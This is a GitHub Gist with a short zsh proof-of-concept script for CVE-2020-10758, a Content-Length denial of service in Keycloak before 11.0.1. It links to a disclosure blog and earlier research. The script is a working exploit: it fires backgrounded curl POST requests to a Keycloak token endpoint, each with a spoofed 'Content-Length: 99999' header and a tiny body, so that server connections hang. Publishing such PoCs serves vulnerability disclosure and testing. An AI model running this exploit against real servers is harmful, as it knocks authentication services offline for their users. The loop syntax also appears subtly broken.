Last active
September 4, 2020 23:21
-
-
Save Eriner/d78ea51a1125d63fd59bfc7d0751c112 to your computer and use it in GitHub Desktop.
Keycloak <v11.0.1 Content-Length DoS - CVE-2020-10758 - https://www.soluble.ai/blog/keycloak-cve-2020-10758
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/zsh | |
# Keycloak Vuln disclosure: https://www.soluble.ai/blog/keycloak-cve-2020-10758 | |
# | |
# LWN post about HTTP POST Content-Length DoS: https://lwn.net/Articles/418017/ | |
# | |
# Original research by Wong Onn Chee in 2010: http://www.owasp.org/images/4/43/Layer_7_DDOS.pdf | |
i=20 | |
host="http://mykeycloakinstall.example:9000" | |
for x in {1..i}; do | |
echo "sending request: ${x}" && \ | |
curl -X POST \ | |
${host}/auth/realms/master/protocol/openid-connect/token \ | |
-H 'Content-Length: 99999' \ | |
--data-binary 'test=abc' & | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment